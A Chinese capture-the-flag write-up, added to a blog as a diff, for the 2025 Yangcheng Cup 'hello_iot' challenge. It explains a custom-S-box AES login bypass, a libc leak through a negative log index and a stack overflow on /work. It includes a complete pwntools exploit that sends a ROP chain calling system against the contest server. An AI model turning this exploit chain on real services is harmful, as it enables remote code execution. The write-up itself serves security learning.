|
| 1 | +--- |
| 2 | +title: 羊城杯 2025 初赛 - hello_iot |
| 3 | +date: 2025/10/13 17:23:00 |
| 4 | +updated: 2025/10/13 17:23:00 |
| 5 | +tags: |
| 6 | + - httpd |
| 7 | + - ROP |
| 8 | + - hard to rev |
| 9 | +thumbnail: /assets/ycb2025/rcon_sbox.png |
| 10 | +excerpt: 通过自定义AES换S盒加密登录验证、利用`/log`泄露libc和指令地址、`/work`触发栈溢出实现RCE获取flag。 |
| 11 | +--- |
| 12 | + |
| 13 | +> 这个IoT站点的鉴权似乎比较严格 |
| 14 | +
|
| 15 | +## 文件属性 |
| 16 | + |
| 17 | +|属性 |值 | |
| 18 | +|------|------| |
| 19 | +|Arch |amd64 | |
| 20 | +|RELRO|Partial| |
| 21 | +|Canary|off | |
| 22 | +|NX |on | |
| 23 | +|PIE |off | |
| 24 | +|strip |yes | |
| 25 | +|libc |2.31-0ubuntu9.18| |
| 26 | + |
| 27 | +## 解题思路 |
| 28 | + |
| 29 | +看似IoT,实则并非。一个基于 *libmicrohttpd* 的amd64程序,进入`main`函数可以看到使用 |
| 30 | +*libmicrohttpd* 提供的函数注册HTTP请求处理回调函数,里面是主要逻辑。 |
| 31 | + |
| 32 | +如果用户没有登录,则只能访问`login.html`以及`login`接口, |
| 33 | +通过验证后可以访问`log`和`work`接口。其中`work`接口能通过POST记录一些数据, |
| 34 | +如果数据中存在`YCB2025`,则输入大量数据还可以触发栈溢出。 |
| 35 | +使用`log`接口则能使用`index`访问记录进去的数据,如果是负数,则能向低地址访问到GOT表, |
| 36 | +从而泄露libc。 |
| 37 | + |
| 38 | +最难的反而是怎样登录。在`/login.html`中可以找到临时生成的`KEY`,接着在`login`接口中会做验证。 |
| 39 | +我们需要使用POST上传十六进制编码的`ciphertext`,经过处理后要和`KEY`相等。 |
| 40 | +看起来是某种加密算法,虽然经过编译后某些特征不太明显,但是还是能看出这个算法 |
| 41 | +**解密需要10轮,每块16字节,有rcon数组以及两个S盒**。 |
| 42 | + |
| 43 | + |
| 44 | + |
| 45 | +那么这个算法应该就是aes了。注意到虽然rcon数组和标准aes一致,但是S盒和逆S盒都和标准的不同。 |
| 46 | +不管怎么说,先让AI生成一个aes加密的算法,然后把里面的S盒换掉,放到gdb里解密试试, |
| 47 | +实测没问题,那就可以继续了。 |
| 48 | + |
| 49 | +<img src="/assets/ycb2025/test_decrypt.png" width="70%"> |
| 50 | + |
| 51 | +接下来思路就很清晰了,先使用`/login.html`获取`KEY`,然后将`KEY`加密后用来登录`/login`, |
| 52 | +再使用`/work`预存一条shell指令,接着使用`/log`接口泄露libc和预存指令的地址, |
| 53 | +最后使用`/work`打栈溢出,调用`system`执行预存的指令。 |
| 54 | + |
| 55 | +由于起的方式是microhttpd,因此不能直接调用`system("/bin/sh")`,因为标准输入输出都没有连接到socket上。 |
| 56 | +使用重定向好像也不行,从头构造一个MHD请求也很麻烦。最后选择将文件写入到当前目录下(如`work.html`), |
| 57 | +随后再发一条请求获取文件内容即可。 |
| 58 | + |
| 59 | +## EXPLOIT |
| 60 | + |
| 61 | +```python |
| 62 | +from pwn import * |
| 63 | +from aes import aes_encrypt_block |
| 64 | +import re |
| 65 | +import sys |
| 66 | +import requests |
| 67 | + |
| 68 | +context.arch = 'amd64' |
| 69 | +def GOLD_TEXT(x): return f'\x1b[33m{x}\x1b[0m' |
| 70 | +IP = '45.40.247.139' |
| 71 | +PORT = 25642 |
| 72 | +URL_BASE = f'http://{IP}:{PORT}' |
| 73 | +LIBC = './libc-2.31.so' |
| 74 | + |
| 75 | +# Get decrypted key |
| 76 | +response = requests.get(f'{URL_BASE}/login.html') |
| 77 | +match = re.search(r'<strong>([a-z]+)</strong>', response.text) |
| 78 | +assert match |
| 79 | +rand_key = match.group(1) |
| 80 | +info(f'Retrieve random key: {rand_key}') |
| 81 | + |
| 82 | +# Encrypt the key |
| 83 | +cipher = aes_encrypt_block(rand_key.encode(), b'0123456789ABCDEF').hex() |
| 84 | +info(f'Try this cipher: {cipher}') |
| 85 | + |
| 86 | +# Login the system |
| 87 | +response = requests.post(f'{URL_BASE}/login', data=f'ciphertext={cipher}') |
| 88 | +assert response.status_code == 200 |
| 89 | + |
| 90 | +# Now test if the key is right and leak libc |
| 91 | +response = requests.post(f'{URL_BASE}/log', data='index=-173') |
| 92 | +if response.status_code == 401: |
| 93 | + warn('Unable to log in!') |
| 94 | + sys.exit(1) |
| 95 | +assert response.status_code == 200 |
| 96 | +match = re.search(r'<pre>(0x[a-f0-9]+)</pre>', response.text) |
| 97 | +assert match |
| 98 | + |
| 99 | +libc = ELF(LIBC) |
| 100 | +libc_base = int(match.group(1), 16) - libc.symbols['malloc'] |
| 101 | +success(GOLD_TEXT(f'Leak libc_base: {libc_base:#x}')) |
| 102 | +libc.address = libc_base |
| 103 | + |
| 104 | +if len(sys.argv) > 1 and sys.argv[1] == 'next': |
| 105 | + # next stage: print flag in work.html |
| 106 | + response = requests.get(f'{URL_BASE}/work.html') |
| 107 | + assert 'DASCTF' in response.text |
| 108 | + success(f'Flag is: {response.text}') |
| 109 | + sys.exit(0) |
| 110 | + |
| 111 | +# Before attack, draft a RCE command first |
| 112 | +cmd = 'cat /flag > work.html;' |
| 113 | +response = requests.post(f'{URL_BASE}/work', data=f'data={cmd}\r\n') |
| 114 | +match = re.search(r'Total=(\d+)', response.text) |
| 115 | +assert match |
| 116 | +slot = int(match.group(1)) - 1 |
| 117 | +info(f'Hijack httpd to run {cmd} at slot {slot}') |
| 118 | + |
| 119 | +# Then fetch its address |
| 120 | +response = requests.post(f'{URL_BASE}/log', data=f'index={slot}') |
| 121 | +match = re.search(r'0x[a-f0-9]+', response.text) |
| 122 | +assert match |
| 123 | +rce = int(match.group(0), 16) |
| 124 | +success(GOLD_TEXT(f'Found RCE command on {rce:#x}')) |
| 125 | + |
| 126 | +# Construct a payload to perform ROP |
| 127 | +gadgets = ROP(libc) |
| 128 | +chain = flat(gadgets.rdi.address, rce, |
| 129 | + gadgets.ret.address, # balance stack |
| 130 | + libc.symbols['system'], |
| 131 | + gadgets.rdi.address, 0, |
| 132 | + libc.symbols['exit']) |
| 133 | + |
| 134 | +# Finally trigger the ROP |
| 135 | +t = remote(IP, PORT) |
| 136 | +payload = b'data=' + pack(0, 0x48 * 8) + chain + b'YCB2025\n\n' |
| 137 | +body = f'''POST /work HTTP/1.0\r |
| 138 | +Host: {IP}:{PORT}\r |
| 139 | +Content-Length: {len(payload)}\r |
| 140 | +\r |
| 141 | +'''.encode() |
| 142 | +t.send(body + payload) |
| 143 | +t.close() |
| 144 | +``` |
| 145 | + |
| 146 | +{% note default fa-flag %} |
| 147 | + |
| 148 | +{% endnote %} |
0 commit comments